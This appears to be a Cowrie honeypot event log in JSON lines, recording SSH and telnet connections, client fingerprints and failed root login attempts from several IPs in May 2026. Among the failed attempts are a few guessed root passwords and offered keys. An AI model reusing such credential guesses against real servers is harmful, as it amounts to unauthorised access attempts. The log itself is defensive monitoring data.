{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"20:0c:9e:20:66:32:1d:e7:a9:8d:0b:03:61:d3:a0:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6S/SZmDu7kxFS9wXMx7GUyepofMBGl+x16CRigPaH66VTeJKDu7Tr3/rWHrQh38zDDkZNfcm067i2+wDP7k84O4tDZTZjIax+VcODrtUnZIFVHoyrNnr0LCw3E0CG8dhBWryd8xHEjlRNgUKHBcVfr7fSf3A1sWHzzNn37HFdH3XUq1IbE6/qLo9iE2FTW4SL7CKzZtRmhGDptaYbK3wfYRX9cY3eoKnLhjSCxyKMdG73sgLQR8lzY3YUzEvaRf7M2t4DoTjMYAjMY6p1QEknkcJZ4FwWEDLZSiE+PAWangOrMXNwjTzSzGRqoU6AcDvzMIFcZM95pBd0F8/yidyj","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 20:0c:9e:20:66:32:1d:e7:a9:8d:0b:03:61:d3:a0:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:58.945903Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"20:0c:9e:20:66:32:1d:e7:a9:8d:0b:03:61:d3:a0:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD6S/SZmDu7kxFS9wXMx7GUyepofMBGl+x16CRigPaH66VTeJKDu7Tr3/rWHrQh38zDDkZNfcm067i2+wDP7k84O4tDZTZjIax+VcODrtUnZIFVHoyrNnr0LCw3E0CG8dhBWryd8xHEjlRNgUKHBcVfr7fSf3A1sWHzzNn37HFdH3XUq1IbE6/qLo9iE2FTW4SL7CKzZtRmhGDptaYbK3wfYRX9cY3eoKnLhjSCxyKMdG73sgLQR8lzY3YUzEvaRf7M2t4DoTjMYAjMY6p1QEknkcJZ4FwWEDLZSiE+PAWangOrMXNwjTzSzGRqoU6AcDvzMIFcZM95pBd0F8/yidyj","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:58.949735Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4d:04:1b:c0:0d:a3:c8:78:e7:e6:e7:10:61:e0:bb:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ktOIpuGaZrIGlZjik4M2h9+33SUlF5WLoNYR1SS02Hw/CKxsQ023aMbTTe/EZ0T1b30MsHKv5TxzBSdGnQYFBUMBxTQoSI4SvGVMNvUSIHOJmF46P3HFPPqXxmwLnfG61pUNhGWlY9LOhprTWf9r3OhccBMRX7+Q3dhHS+Kwak9b3bI2aOI/PgF11mYo0qNPVhtL+nJaWk09ZyiKMDU4a+V+Au9gU2ancFat8lkLBb+KXgD6eJawdfmuaswjg4n0o3JHaamvAv0sjTt0SxRALg2htqMJzvZkR/fpnnjV3H5vme/x69F5MB2RkFC2nqdZzmPHfQJgyOZjEq6fpsAP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4d:04:1b:c0:0d:a3:c8:78:e7:e6:e7:10:61:e0:bb:4f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.065137Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4d:04:1b:c0:0d:a3:c8:78:e7:e6:e7:10:61:e0:bb:4f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2ktOIpuGaZrIGlZjik4M2h9+33SUlF5WLoNYR1SS02Hw/CKxsQ023aMbTTe/EZ0T1b30MsHKv5TxzBSdGnQYFBUMBxTQoSI4SvGVMNvUSIHOJmF46P3HFPPqXxmwLnfG61pUNhGWlY9LOhprTWf9r3OhccBMRX7+Q3dhHS+Kwak9b3bI2aOI/PgF11mYo0qNPVhtL+nJaWk09ZyiKMDU4a+V+Au9gU2ancFat8lkLBb+KXgD6eJawdfmuaswjg4n0o3JHaamvAv0sjTt0SxRALg2htqMJzvZkR/fpnnjV3H5vme/x69F5MB2RkFC2nqdZzmPHfQJgyOZjEq6fpsAP","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.068710Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"1c:30:c4:bd:bb:e2:36:79:7b:4f:bb:41:f6:22:72:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV/UYIIfRLLpTVT+mZwydyLN795akdozA2yKSsRs0rzceSuRnGJZb9d+ubsxwMdhe6h6ZP4U47rOyejcC3yUCWUflA2PcTEC8ve5G5N+RVQ1Z4a/35F1Zmp6C/j3zfzN5+i+md14usB0RWZOdoODn+FD6gYUKjA40f8ZX5Djb1XfZDbhq1J8sBYZeG2eXLB2zCtPoneIlLk/ZLIWs6Xf2uAYOk6y49MbPSNHby5MHtl9zz3NagTsBaFf0xXtE+Cqlvb0eTKDlFAAZXYKoTe6I8rIQGYzAkChLz4tYs8Rjby2hTAbvsx9y3e3mVuBTg4XgIhdvO2BeSRypmEdytqimn","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 1c:30:c4:bd:bb:e2:36:79:7b:4f:bb:41:f6:22:72:bf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.182679Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"1c:30:c4:bd:bb:e2:36:79:7b:4f:bb:41:f6:22:72:bf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDV/UYIIfRLLpTVT+mZwydyLN795akdozA2yKSsRs0rzceSuRnGJZb9d+ubsxwMdhe6h6ZP4U47rOyejcC3yUCWUflA2PcTEC8ve5G5N+RVQ1Z4a/35F1Zmp6C/j3zfzN5+i+md14usB0RWZOdoODn+FD6gYUKjA40f8ZX5Djb1XfZDbhq1J8sBYZeG2eXLB2zCtPoneIlLk/ZLIWs6Xf2uAYOk6y49MbPSNHby5MHtl9zz3NagTsBaFf0xXtE+Cqlvb0eTKDlFAAZXYKoTe6I8rIQGYzAkChLz4tYs8Rjby2hTAbvsx9y3e3mVuBTg4XgIhdvO2BeSRypmEdytqimn","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.186082Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"92:5a:6d:b1:1c:da:a4:cf:1e:af:fd:cc:d6:57:ad:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKxrxTnnd5/58fu/8d8xPunmhw4mJUL0O4NasMmZPhB","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 92:5a:6d:b1:1c:da:a4:cf:1e:af:fd:cc:d6:57:ad:c6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.297443Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"92:5a:6d:b1:1c:da:a4:cf:1e:af:fd:cc:d6:57:ad:c6","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIMKxrxTnnd5/58fu/8d8xPunmhw4mJUL0O4NasMmZPhB","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.299912Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3a:a8:f7:8b:3b:23:6c:d9:3d:65:46:3a:07:a4:10:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy0X9MtpsXbcIJXp56QVRgQyYalB2X8b7gIPPUMB4vojcFbAGE4V8e8YLcnefR+0dps4xfxInj9SLa434sEk7Dor2ePGcAqfkhz0m/W47INfPp7mE/CpdBbAcORls4eoYvX9DP6bF9p4ctliQFmxdRf/X4O3b4gUfwnfEO8THnGXGQOPiMMD9ZVL08WnvjoETQcgQobEQnlZFt5dzRRW1SNx5ZctSJEp+6GXTWwMSLPoXN70YFJnC+VupWBipraNYpW801maccVPHSCJMBnPEcJmSYgnR68BRFvaFYrjPXy0u7Xk95d1jJ5hahk8k+nRteeVPek1HS574FtnW9RjqUw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3a:a8:f7:8b:3b:23:6c:d9:3d:65:46:3a:07:a4:10:7e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.411059Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3a:a8:f7:8b:3b:23:6c:d9:3d:65:46:3a:07:a4:10:7e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAy0X9MtpsXbcIJXp56QVRgQyYalB2X8b7gIPPUMB4vojcFbAGE4V8e8YLcnefR+0dps4xfxInj9SLa434sEk7Dor2ePGcAqfkhz0m/W47INfPp7mE/CpdBbAcORls4eoYvX9DP6bF9p4ctliQFmxdRf/X4O3b4gUfwnfEO8THnGXGQOPiMMD9ZVL08WnvjoETQcgQobEQnlZFt5dzRRW1SNx5ZctSJEp+6GXTWwMSLPoXN70YFJnC+VupWBipraNYpW801maccVPHSCJMBnPEcJmSYgnR68BRFvaFYrjPXy0u7Xk95d1jJ5hahk8k+nRteeVPek1HS574FtnW9RjqUw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.414650Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:35:59.525984Z","src_ip":"46.62.157.119","session":"c96c09a354ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.314206838607788,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:00.189085Z","src_ip":"50.6.8.71","session":"47f2d35cae1e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.06040811538696,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:01.341708Z","src_ip":"50.6.8.71","session":"37877a5c4013","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.88557028770447,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:02.450427Z","src_ip":"50.6.8.71","session":"531dcdaaf042","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.91736912727356,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:04.736882Z","src_ip":"23.94.28.189","session":"f857dc6e6767","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.34185791015625,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:19.920707Z","src_ip":"50.6.8.71","session":"01c9f73fe5de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.94.28.189","src_port":39006,"dst_ip":"10.17.0.5","dst_port":23,"session":"a15c1a5680b7","protocol":"telnet","message":"New connection: 23.94.28.189:39006 (10.17.0.5:23) [session: a15c1a5680b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:23.895543Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":38290,"dst_ip":"10.17.0.5","dst_port":23,"session":"7d9b813f463a","protocol":"telnet","message":"New connection: 50.6.8.71:38290 (10.17.0.5:23) [session: 7d9b813f463a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:24.148787Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":34098,"dst_ip":"10.17.0.5","dst_port":23,"session":"e6c6ce034ae4","protocol":"telnet","message":"New connection: 50.6.8.71:34098 (10.17.0.5:23) [session: e6c6ce034ae4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:29.326619Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":42654,"dst_ip":"159.203.135.109","dst_port":22,"session":"100313fb59e5","protocol":"ssh","message":"New connection: 103.27.238.114:42654 (159.203.135.109:22) [session: 100313fb59e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:29.861580Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:29.866510Z","src_ip":"103.27.238.114","session":"100313fb59e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:30.123264Z","src_ip":"103.27.238.114","session":"100313fb59e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"starwars","message":"login attempt [root/starwars] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:30.897662Z","src_ip":"103.27.238.114","session":"100313fb59e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:32.157159Z","src_ip":"103.27.238.114","session":"100313fb59e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":40622,"dst_ip":"159.203.135.109","dst_port":22,"session":"72e82289d437","protocol":"ssh","message":"New connection: 103.153.68.219:40622 (159.203.135.109:22) [session: 72e82289d437]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:35.557276Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:35.561704Z","src_ip":"103.153.68.219","session":"72e82289d437","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:35.804940Z","src_ip":"103.153.68.219","session":"72e82289d437","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"fantasy","message":"login attempt [root/fantasy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:36.535286Z","src_ip":"103.153.68.219","session":"72e82289d437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60954,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba8bdc63e3ec","protocol":"telnet","message":"New connection: 50.6.8.71:60954 (10.17.0.5:23) [session: ba8bdc63e3ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:37.447280Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:37.780324Z","src_ip":"103.153.68.219","session":"72e82289d437","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"109.237.96.109","src_port":52154,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec8a466289a7","protocol":"ssh","message":"New connection: 109.237.96.109:52154 (159.203.135.109:22) [session: ec8a466289a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:38.530800Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:38.535097Z","src_ip":"109.237.96.109","session":"ec8a466289a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:38.631665Z","src_ip":"109.237.96.109","session":"ec8a466289a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"whatever","message":"login attempt [root/whatever] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:38.914216Z","src_ip":"109.237.96.109","session":"ec8a466289a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:40.010528Z","src_ip":"109.237.96.109","session":"ec8a466289a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":60966,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a4b753e30b2","protocol":"telnet","message":"New connection: 50.6.8.71:60966 (10.17.0.5:23) [session: 6a4b753e30b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:44.791340Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.29.151","src_port":41616,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4f2356f10e4","protocol":"ssh","message":"New connection: 87.106.29.151:41616 (159.203.135.109:22) [session: a4f2356f10e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:46.985260Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:46.989985Z","src_ip":"87.106.29.151","session":"a4f2356f10e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:47.085232Z","src_ip":"87.106.29.151","session":"a4f2356f10e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123Qwe123C","message":"login attempt [root/123Qwe123C] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:47.490033Z","src_ip":"87.106.29.151","session":"a4f2356f10e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:48.585669Z","src_ip":"87.106.29.151","session":"a4f2356f10e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.8.71","src_port":44992,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec4a03d6fb15","protocol":"telnet","message":"New connection: 50.6.8.71:44992 (10.17.0.5:23) [session: ec4a03d6fb15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:49.070407Z"}
{"eventid":"cowrie.session.closed","duration":33.000831604003906,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T22:36:57.149482Z","src_ip":"50.6.8.71","session":"7d9b813f463a","protocol":"telnet"}
